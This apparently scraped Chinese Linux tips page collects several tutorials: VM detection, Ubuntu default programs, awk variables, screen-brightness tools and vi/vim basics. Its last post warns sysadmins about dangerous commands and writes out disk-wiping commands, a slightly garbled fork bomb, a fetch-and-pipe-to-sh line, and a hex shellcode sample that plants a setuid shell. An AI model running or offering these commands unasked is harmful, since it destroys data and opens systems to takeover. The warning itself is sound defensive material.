$ sudo dmidecode -s system-manufacturer
Dell Inc.

相反,如果是虚拟机,可以将虚拟机的信息打印出来,如下所示:

$ dmidecode -s system-manufacturer
QEMU

这个命令用起来比较便捷。关于 dmidecode 命令的详细信息,大家也可以查看 man 手册。

如果想要查看 Linux 版本的信息,可以使用 uname 命令。因为 dmidecode 命令查看的是硬件信息,对于软件信息来说不适用。

2,使用 virt-what

区分虚拟机和物理机的另外一个方法是使用 virt-what

基本上,可以将其理解为是一个 shell 脚本,可以作为命令安装在大多数 Linux 发行版中。安装命令如下:

sudo apt install virt-what

如果系统运行在一个物理机上,virt-what 命令将不会返回任何结果;相反,如果是运行在虚拟机上,将会输出虚拟机的一些信息,如下所示:

$ virt-what 
kvm

以上就是本次分享全部内容,欢迎讨论。

怎样在Ubuntu中修改默认程序

阅读(283)评论(0)

这个新手指南会向你展示如何在 Ubuntu Linux 中修改默认程序。对于我来说,安装 VLC 多媒体播放器是安装完 Ubuntu 16.04 该做的事中最先做的几件事之一。为了能够使我双击一个视频就用 VLC 打开,在我安装完 VLC 之后我会设置它为默认程序。

 

在 Ubuntu 中修改默认程序

作为一个新手,你需要知道如何在 Ubuntu 中修改任何默认程序,这也是我今天在这篇指南中所要讲的。这里提及的方法适用于所有的 Ubuntu 12.04,Ubuntu 14.04 和Ubuntu 16.04。在 Ubuntu 中,这里有两种基本的方法可以修改默认程序:

通过系统设置

通过右键菜单

1.通过系统设置修改 Ubuntu 的默认程序

进入 Unity 面板并且搜索系统设置System Settings:

自动草稿

在系统设置System Settings中,选择详细选项Details:

自动草稿

在左边的面板中选择默认程序Default Applications,你会发现在右边的面板中可以修改默认程序。

自动草稿

正如看到的那样,这里只有少数几类的默认程序可以被改变。你可以在这里改变浏览器、邮箱客户端、日历、音乐、视频和相册的默认程序。那其他类型的默认程序怎么修改?

不要担心,为了修改其他类型的默认程序,我们会用到右键菜单。

2.通过右键菜单修改默认程序

如果你使用过 Windows 系统,你应该看见过右键菜单的“打开方式”,可以通过这个来修改默认程序。我们在 Ubuntu 中也有相似的方法。

右键一个还没有设置默认打开程序的文件,选择“属性properties”

自动草稿

从右键菜单中选择属性在这里,你可以选择使用什么程序打开,并且设置为默认程序。

自动草稿

在 Ubuntu 中设置打开 WebP 图片的默认程序为 gThumb小菜一碟不是么?一旦你做完这些,所有同样类型的文件都会用你选择的默认程序打开。

我很希望这个新手指南对你在修改 Ubuntu 的默认程序时有帮助。

linux下 awk内置变量使用介绍

阅读(170)评论(0)

我们将逐渐揭开 awk 功能的神秘面纱,在本节中,我们将介绍 awk 内置built-in变量的概念。你可以在 awk 中使用两种类型的变量,它们是:用户自定义user-defined变量和内置变量。

linux下 awk内置变量使用介绍

我们将逐渐揭开 awk 功能的神秘面纱,在本节中,我们将介绍 awk 内置built-in变量的概念。你可以在 awk 中使用两种类型的变量,它们是:用户自定义user-defined变量和内置变量。awk 内置变量已经有预先定义的值了,但我们也可以谨慎地修改这些值.

awk 内置变量包括:
  • FILENAME : 当前输入文件名称
  • NR : 当前输入行编号(是指输入行 1,2,3……等)
  • NF : 当前输入行的字段编号
  • OFS : 输出字段分隔符
  • FS : 输入字段分隔符
  • ORS : 输出记录分隔符
  • RS : 输入记录分隔符
FILENAME :

让我们继续演示一些使用上述 awk 内置变量的方法,想要读取当前输入文件的名称,你可以使用 FILENAME 内置变量,如下:$ awk ' { print FILENAME } ' ~/domains.txt

linux下 awk内置变量使用介绍

你会看到,每一行都会对应输出一次文件名,那是你使用 FILENAME 内置变量时 awk 默认的行为。我们可以使用 NR 来统计一个输入文件的行数(记录),谨记:它也会计算空行,正如我们将要在下面的例子中看到的那样。 输出文件内容 当我们使用 cat 命令查看文件 domains.txt 时,会发现它有 14 行文本和 2 个空行:$ cat ~/domains.txt

linux下 awk内置变量使用介绍

awk 统计行数:
$ awk ' END { print "Number of records in file is: ", NR } ' ~/domains.txt

linux下 awk内置变量使用介绍

awk 统计文件中的字段数:
$ awk '{ "Record:",NR,"has",NF,"fields" ; }' ~/names.txt

linux下 awk内置变量使用介绍

FS 内置变量:

你也可以使用 FS 内置变量指定一个输入文件分隔符,它会定义 awk 如何将输入行划分成字段。FS 默认值为“空格”和“制表符”,但我们也能将 FS 值修改为任何字符来让 awk 根据情况切分输入行。有两种方法可以达到目的:第一种方法是使用 FS 内置变量;第二种方法是使用 awk 的 -F 选项。来看 Linux 系统上的 /etc/passwd 文件,该文件中的各字段是使用 冒号(:) 分隔的,因此,当我们想要过滤出某些字段时,可以将冒号(:) 指定为新的输入字段分隔符, awk 过滤密码文件中的各字段 . 我们可以使用 -F 选项,如下:$ awk -F':' '{ print $1, $4 ;}' /etc/passwd

linux下 awk内置变量使用介绍

此外,我们也可以利用 FS 内置变量,如下:$ awk ' BEGIN { FS=“:” ; } { print $1, $4 ; } ' /etc/passwd

linux下 awk内置变量使用介绍

使用 OFS 内置变量:

使用 OFS 内置变量来指定一个用于输出的字段分隔符,它会定义如何使用指定的字符分隔输出字  段 使用 awk输出的分隔符:   $ awk -F':' ' BEGIN { OFS="==>" ;} { print $1, $4 ;}' /etc/passwd

linux下 awk内置变量使用介绍

在本节中,我们已经学习了使用含有预定义值的 awk 内置变量的理念。但我们也能够修改这些值,虽然并不推荐这样做,除非你明白自己在做什么,并且充分理解(这些变量值)。

此后,我们将继续学习如何在 awk 命令操作中使用 shell 变量,所以,请继续关注我们。

Linux上自动调整屏幕亮度保护眼睛

阅读(567)评论(0)

ightbot当你开始在计算机前花费大量时间的时候,问题自然开始显现。这健康吗?怎样才能舒缓我眼睛的压力呢?为什么光线灼烧着我?尽管解答这些问题的研究仍然在不断进行着,许多程序员已经采用了一些应用来改变他们的日常习惯,让他们的眼睛更健康点。在这些应用中,我发现了两个特别有趣的东西:Calise和Redshift。
1.Calise

处于时断时续的开发中,Calise的意思是“相机光感应器(Camera Light Sensor)”。换句话说,它是一个根据摄像头接收到的光强度计算屏幕最佳的背光级别的开源程序。更进一步地说,Calise可以基于你的地理坐标来考虑你所在地区的天气。我喜欢它是因为它兼容各个桌面,甚至非X系列。
9e7c3c041595a07
它同时附带了命令行界面和图形界面,支持多用户配置,而且甚至可以导出数据为CSV。安装完后,你必须在见证奇迹前对它进行快速校正。
2908c7e2ff2b054
不怎么令人喜欢的是,如果你和我一样有被偷窥妄想症,在你的摄像头前面贴了一条胶带,那就会比较不幸了,这会大大影响Calise的精确度。除此之外,Calise还是个很棒的应用,值得我们关注和支持。正如我先前提到的,它在过去几年中经历了一段修修补补的艰难阶段,所以我真的希望这个项目继续开展下去。
9edd47916b2e5e4

2.Redshift

如果你想过要减少由屏幕导致的眼睛的压力,那么你很可能听过f.lux,它是一个免费的专有软件,用于根据一天中的时间来修改显示器的亮度和配色。然而,如果真的偏好于开源软件,那么一个可选方案就是:Redshift。灵感来自f.lux,Redshift也可以改变配色和亮度来加强你夜间坐在屏幕前的体验。启动时,你可以使用经度和纬度来配置地理坐标,然后就可以让它在托盘中运行了。Redshift将根据太阳的位置平滑地调整你的配色或者屏幕。在夜里,你可以看到屏幕的色温调向偏暖色,这会让你的眼睛少遭些罪。
33b2042a5120c53
和Calise一样,它提供了一个命令行界面,同时也提供了一个图形客户端。要快速启动Redshift,只需使用命令:

$ redshift -l [LAT]:[LON]

替换[LAT]:[LON]为你的维度和经度。
然而,它也可以通过gpsd模块来输入你的坐标。

如何安装和使用纯文本编辑器 vi/vim

阅读(186)评论(0)

 Linux 基金会发起了 LFCS (Linux 基金会认证系统管理员Linux Foundation Certified System administrator)认证,以帮助世界各地的人来验证他们能够在 Linux 系统上做基本的中级系统管理任务:如系统支持、第一手的故障诊断和处理、以及何时向上游支持团队提出问题的智能决策。

自动草稿

这篇文章是系列教程的第二讲,在这个部分中,我们会介绍 vi/vim 基本的文件编辑操作,帮助读者理解编辑器中的三个模式,这是 LFCS 认证考试中必须掌握的

使用 vi/vim 执行基本的文件编辑操作

vi 是为 Unix 而生的第一个全屏文本编辑器。它的设计小巧简单,对于仅仅使用过诸如 NotePad++ 或 gedit 等图形界面的文本编辑器的用户来说,使用起来可能存在一些困难。

为了使用 vi,我们必须首先理解这个强大的程序操作中的三种模式,方便我们后边学习这个强大的文本处理软件的相关操作。

请注意,大多数的现代 Linux 发行版都集成了 vi 的变种——— vim(改进版 VIVi IMproved),相比于 vi,它有更多新功能。所以,我们会在本教程中交替使用 vi 和 vim。

如果你的发行版还没有安装 vim,你可以通过以下方法来安装:

  • •Ubuntu 及其衍生版:apt-get update && apt-get install vim
  • •以 Red-Hat 为基础的发行版:yum update && yum install vim
  • •openSUSE :zypper update && zypper install vim
我为什么要学习 vi

至少有以下两个理由:

  1. 因为它是 POSIX 标准的一部分,所以不管你使用什么发行版 vi 总是可用的。
  2. vi 基本不消耗多少系统资源,并且允许我们仅仅通过键盘来完成任何可能的任务。

此外,vi 有着非常丰富的内置帮助手册,程序打开后就可以通过 :"help" 命令来查看。这个内置帮助手册比 vi/vim 的 man 页面包含了更多信息。

自动草稿

启动 vi

可以通过在命令提示符下输入 vi 来启动。

自动草稿

然后按下字母 i,你就可以开始输入了。或者通过下面的方法来启动 vi:

1.# vi filename

这样会打开一个名为 filename 的缓存区(稍后会详细介绍缓存区),在你编辑完成之后就可以存储在磁盘中了。

理解 vi 的三个模式

1.命令command模式,vi 允许用户浏览该文件并输入由一个或多个字母组成的、简短的、大小写敏感的 vi 命令。这些命令的大部分都可以增加一个前缀数字表示执行次数。
比如:yy(或Y) 复制当前的整行,3yy(或3Y) 复制当前整行和下边紧接着的两行(总共3行)。通过 Esc 键可以随时进入命令模式(而不管当前工作在什么模式下)。事实上,在命令模式下,键盘上所有的输入都被解释为命令而非文本,这往往使得初学者困惑不已。

2.末行ex模式,我们可以处理文件(包括保存当前文件和运行外部程序)。我们必须在命令模式下输入一个冒号(:),才能进入这个模式,紧接着是要在末行模式下使用的命令。执行之后 vi 自动回到命令模式。

3.文本输入insert模式(通常在命令模式下使用字母 i 进入这个模式),我们可以随意输入文本。大多数的键入将以文本形式输出到屏幕(一个重要的例外是Esc键,它将退出文本编辑模式并回到命令模式)。

自动草稿

vi 命令

下面列出常用的 vi 命令。文件编辑的命令可以通过添加叹号的命令强制执行(如,:q! 命令强制退出编辑器而不保存文件)。
h 或 ←  光标左移一个字符
j 或 ↓  光标下移一行
k 或 ↑  光标上移一行
l (小写字母 L) 或 →  光标右移一个字符
H  光标移至屏幕顶行
 光标移至屏幕末行
 光标移至文件末行
w  光标右移一个词
b  光标左移一个词
0 (数字零)  光标移至行首
^  光标移至当前行第一个非空格字符
$  光标移至当前行行尾
Ctrl-B  向后翻页
Ctrl-F  向前翻页
i  在光标所在位置插入文本
I (大写字母 i)  在当前行首插入文本
J (大写字母 j)  将下一行与当前行合并(下一行上移到当前行)
a  在光标所在位置后追加文本
o (小写字母 O)  在当前行下边插入空白行
O (大写字母 O)  在当前行上边插入空白行
r  替换光标所在位置的一个字符
R  从光标所在位置开始覆盖插入文本
x  删除光标所在位置的字符
X  立即删除光标所在位置之前(左边)的一个字符
dd  剪切当前整行文本(为了之后进行粘贴)
 剪切光标所在位置到行末的文本(该命令等效于 d$)
yX  给出一个移动命令 X (如 h、j、H、L 等),复制适当数量的字符、单词或者从光标开始到一定数量的行
yy 或 Y  复制当前整行
p  粘贴在光标所在位置之后(下一行)
 粘贴在光标所在位置之前(上一行)
. (句点)  重复最后一个命令
u  撤销最后一个命令
 撤销最后一行的最后一个命令,只有光标仍在最后一行才能执行。
 在查找中跳到下一个匹配项
N  在查找中跳到前一个匹配项
:n  下一个文件,编辑多个指定文件时,该命令加载下一个文件。
:e file  加载新文件来替代当前文件
:r file  将新文件的内容插入到光标所在位置的下一行
:q  退出并放弃更改
:w file  将当期打开的缓存区保存为file。如果是追加到已存在的文件中,则使用 :w >> file 命令
:wq  保存当前文件的内容并退出。等效于 x! 和 ZZ
:r! command  执行 command 命令,并将命令的输出插入到光标所在位置的下一行

vi 选项

下列选项可以让你在运行 Vim 的时候很方便(需要写入到" ~/.vimrc" 文件):

1.# echo set number >> ~/.vimrc
2.# echo syntax on >> ~/.vimrc
3.# echo set tabstop=4 >> ~/.vimrc
4.# echo set autoindent >> ~/.vimrc

自动草稿

  • •set number 当 vi 打开或新建文件时,显示行号。
  • •syntax on 打开语法高亮(对应多个文件扩展名),以便源码文件和配置文件更具可读性。
  • •set tabstop=4 设置制表符间距为 4 个空格(默认为 8)。
  • •set autoindent 将前一行的缩进应用于下一行。
查找和替换

vi 具有通过查找将光标移动到(在单独一行或者整个文件中的)指定位置。它还可自动或者通过用户确认来执行文本替换。

a) 在行内查找。f 命令在当前行查找指定字符,并将光标移动到指定字符出现的位置。

例如,命令 fh 会在本行中将光标移动到字母h下一次出现的位置。注意,字母 f 和你要查找的字符都不会出现在屏幕上,但是当你按下回车的时候,要查找的字符会被高亮显示。

比如,以下是在命令模式按下 f4 之后的结果。

自动草稿

b) 在整个文件内查找。使用 / 命令,紧接着需要查找的单词或短语。这个查找可以通过使用 n 命令或者 N 重复查找上一个查找的字符串。以下是在命令模式键入 /Jane 的查找结果。

自动草稿

c) vi 通过使用命令来完成多行或者整个文件的替换操作(类似于 sed)。我们可以使用以下命令,使得整个文件中的单词 “old” 替换为 “young”。

1.:%s/old/young/g

注意:冒号位于命令的最前面。

自动草稿

冒号 (:) 进入末行模式,在本例中 s 表示替换,% 是从第一行到最后一行的表示方式(也可以使用 nm 表示范围,即第 n 行到第 m 行),old 是查找模式,young 是用来替换的文本,g 表示在每个查找出来的字符串都进行替换。

另外,在命令最后增加一个 c,可以在每一个匹配项替换前进行确认。

1.:%s/old/young/gc

将旧文本替换为新文本前,vi/vim 会向我们显示以下信息:

自动草稿

  • •y: 执行替换(yes)
  • •n: 跳过这个匹配字符的替换并转到下一个(no)
  • •a: 在当前匹配字符及后边的相同项全部执行替换
  • •q 或 Esc: 取消替换
  • •l (小写 L): 执行本次替换并退出
  • •Ctrl-e, Ctrl-y: 下翻页,上翻页,查看相应的文本来进行替换
同时编辑多个文件

我们在命令提示符输入 vim file1 file2 file3 如下:

1.# vim file1 file2 file3

vim 会首先打开 file1,要跳到 file2 需用 :n 命令。当需要打开前一个文件时,:N 就可以了。

为了从 file1 跳到 file3

a) :buffers 命令会显示当前正在编辑的文件列表

1.:buffers

自动草稿

b) :buffer 3 命令(后边没有 s)会打开第三个文件 file3 进行编辑。

在上边的图片中,标记符号 # 表示该文件当前已被打开,但是是在后台,而 %a 标记的文件是正在被编辑的。另外,文件号(如上边例子的 3)后边的空格表示该文件还没有被打开。

vi 的临时缓存区

为了复制连续的多行(比如,假设为 4 行)到一个名为 a 的临时缓存区(与文件无关),并且还要将这些行粘贴到在当前 vi 会话文件中的其它位置,我们需要:

  1. 按下 Esc 键以确认 vi 处在命令模式
  2. 将光标放在我们希望复制的第一行文本
  3. 输入 "a4yy 复制当前行和接下来的 3 行,进入一个名为 a 的缓存区。我们可以继续编辑我们的文件————我们不需要立即插入刚刚复制的行。
  4. 当到了需要使用刚刚复制的那些行的位置,在 p(小写)或 P(大写)命令前使用"a来将复制行插入到名为 a 的 缓存区:
    • 输入 "ap,复制行将插入到光标位置所在行的下一行。
    • 输入 "aP,复制行将插入到光标位置所在行的上一行。

如果愿意,我们可以重复上述步骤,将缓存区 a 中的内容插入到我们文件的多个位置。像本节中这样的一个临时缓存区,会在当前窗口关闭时释放掉。

总结

像我们看到的一样,vi/vim 在命令接口下是一个强大而灵活的文本编辑器。通过以下链接,随时分享你自己的技巧和评论。

运维请注意:”非常危险“的Linux命令大全

阅读(200)评论(0)

Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

 

rm –rf

rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:

  • rm 删除linux下的文件
  • rm -r 递归删除文件夹,包括空文件夹
  • rm -f 强制无条件删除只读文件
  • rm -rf / : 强制无条件删除root目录下所有内容。
  • rm -rf * : 强制无条件删除当前目录下所有内容。
  • rm -rf . : 强制无条件删除当前文件夹和子文件夹

综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:

alias rm= 'rm -i'

这样,在你下次删除东西的时候,它会提醒你到底要删啥。

){:|:&};:

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

手贱的同学可以尽管在虚拟机里试试:

){:|:&};:
任意命令 > /dev/sda

这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

mv 指定的文件夹 /dev/null

这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

# mv /home/user/* /dev/null

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

wget http://malicious_source -O- | sh

这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。

mkfs.ext3 /dev/sda

上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。

> 任意文件

这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:

> xt.conf

你系统配置文件里的内容可能就会因此被清理掉。

^foo^bar

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

自动草稿

dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

隐藏命令

下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p 
release */ 
= “/xeb/x3e/x5b/x31/xc0/x50/x54/x5a/x83/xec/x64/x68″ 
“/xff/xff/xff/xff/x68/xdf/xd0/xdf/xd9/x68/x8d/x99″ 
“/xdf/x81/x68/x8d/x92/xdf/xd2/x54/x5e/xf7/x16/xf7″ 
“/x56/x04/xf7/x56/x08/xf7/x56/x0c/x83/xc4/x74/x56″ 
“/x8d/x73/x08/x56/x53/x54/x59/xb0/x0b/xcd/x80/x31″ 
“/xc0/x40/xeb/xf9/xe8/xbd/xff/xff/xff/x2f/x62/x69″ 
“/x6e/x2f/x73/x68/x00/x2d/x63/x00″ 
“cp -p /bin/sh /tmp/.beyond; chmod 4755 
/tmp/.beyond;”; 

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。

登录

忘记密码 ?